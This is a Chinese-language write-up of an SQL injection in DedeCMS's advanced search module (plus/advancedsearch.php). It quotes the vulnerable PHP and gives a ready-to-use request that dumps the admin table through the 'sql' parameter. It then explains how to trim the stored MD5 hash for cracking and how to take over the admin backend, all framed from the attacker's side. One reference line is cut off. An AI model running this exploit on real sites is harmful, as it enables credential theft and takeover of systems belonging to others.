DedeCMS漏洞深度解析:高级搜索模块中的SQL注入风险
DedeCMS的模板标签系统为站长提供了强大的DIY建站能力,其高效的标签缓存机制允许对同类标签进行缓存,从而在生成静态HTML时显著提升系统响应速度并降低服务器资源消耗。此外,DedeCMS采用模型与模块并存的架构,当默认模型无法满足特定需求时,系统通过互动模块进行补充,力求更贴合用户的个性化需求。
然而,安全隐患出现在plus/advancedsearch.php文件中:由于$sql变量未经过初始化,导致了一个看似鸡肋实则危险的SQL注入漏洞。
if($mid == 0) //必须绕过。
{
showmsg('参数不正确,高级自定义搜索必须指定模型id', 'ja vascript');
exit();
}
$query = "select maintable, mainfields, addontable, addonfields, template from dede_advancedsearch where mid='$mid'";
$searchinfo = $dsql->GetOne($query);
if(!is_array($searchinfo)) //囧啊,绕过有难度。
{
showmsg('自定义搜索模型不存在','-1'); exit();
}
$template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
if(empty($sql)) //人品问题,成功绕过!{
..............
}else{
$sql = urldecode($sql);
$query = $sql;
}
$sql = urlencode($sql);
$dlist = new DataListCP();
$dlist->pageSize = 20;
$dlist->SetParameter("sql", $sql);
$dlist->SetParameter("mid", $mid);
...............
$dlist->SetTemplate($templatefile);
$dlist->SetSource($query);
.............
参考:<*参考
漏洞测试步骤与利用方法
攻击者可直接构造以下HTTP请求来验证漏洞是否存在:
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
获取到的管理员密码为32位MD5值,需要经过特殊处理:去除前5位和后7位,得到20位字符串;再执行前3后1的截取,最终得到16位MD5密码。攻击者可利用此规则还原出明文密码(或用于后续破解)。
注意:该漏洞的利用需要先通过mid参数绕过模型检查,但代码中empty($sql)的判断逻辑存在缺陷——只要sql参数不为空,即可直接执行任意SQL查询。在实际攻击场景中,攻击者可以借此读取管理员用户表,获取管理员密码的MD5哈希值,并按照上述规则还原出明文密码,从而实现后台管理权限的接管。
